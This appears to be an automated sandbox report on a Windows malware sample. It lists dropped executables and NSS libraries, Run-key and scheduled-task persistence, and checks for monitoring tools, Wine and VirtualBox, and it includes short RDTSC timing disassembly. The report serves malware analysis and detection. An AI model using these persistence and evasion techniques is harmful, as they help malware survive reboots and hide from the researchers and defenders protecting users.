Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\OneDrive[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\userBGCAFHCAKF.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\userBGCAFHCAKF.exe	File created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\num[1].exe	Jump to dropped file
Source: C:\Program Files\Mozilla Firefox\firefox.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.dll (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	File created: C:\Users\user\AppData\Local\Temp\1000343001\OneDrive.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\amadka[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Program Files\Mozilla Firefox\firefox.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.dll.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\go[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	File created: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\userBKFCAFCFBA.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run MicrosoftEdgeAutoLaunch_C366A24065C39A1BE76E148DC2D0A868
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 1a87deddda.exe

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\userBGCAFHCAKF.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\userBGCAFHCAKF.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\userBGCAFHCAKF.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\userBGCAFHCAKF.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\userBGCAFHCAKF.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\userBGCAFHCAKF.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\userBGCAFHCAKF.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\userBGCAFHCAKF.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\userBGCAFHCAKF.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Window searched: window name: Regmonclass

Source: C:\Users\userBGCAFHCAKF.exe

File created: C:\Windows\Tasks\explorti.job

Jump to behavior

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run MicrosoftEdgeAutoLaunch_C366A24065C39A1BE76E148DC2D0A868
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run MicrosoftEdgeAutoLaunch_C366A24065C39A1BE76E148DC2D0A868
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 1a87deddda.exe
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 1a87deddda.exe

Source: C:\Users\user\Desktop\file.exe

0_2_004195E0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\userBGCAFHCAKF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\userBKFCAFCFBA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\userBKFCAFCFBA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\userBKFCAFCFBA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-50394

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\userBGCAFHCAKF.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\userBGCAFHCAKF.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E5AD0D second address: E5AD11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E5AD11 second address: E5AD46 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F1C24BF8400h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jnl 00007F1C24BF83F6h 0x00000015 pushad 0x00000016 popad 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a jmp 00007F1C24BF8400h 0x0000001f rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E5AD46 second address: E5AD5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1C24FCCA90h 0x00000009 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E5B30D second address: E5B311 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: E5B311 second address: E5B330 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push esi 0x00000008 pop esi 0x00000009 jmp 00007F1C24FCCA8Ah 0x0000000e pop ebx 0x0000000f popad 0x00000010 push esi 0x00000011 push edi 0x00000012 je 00007F1C24FCCA86h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
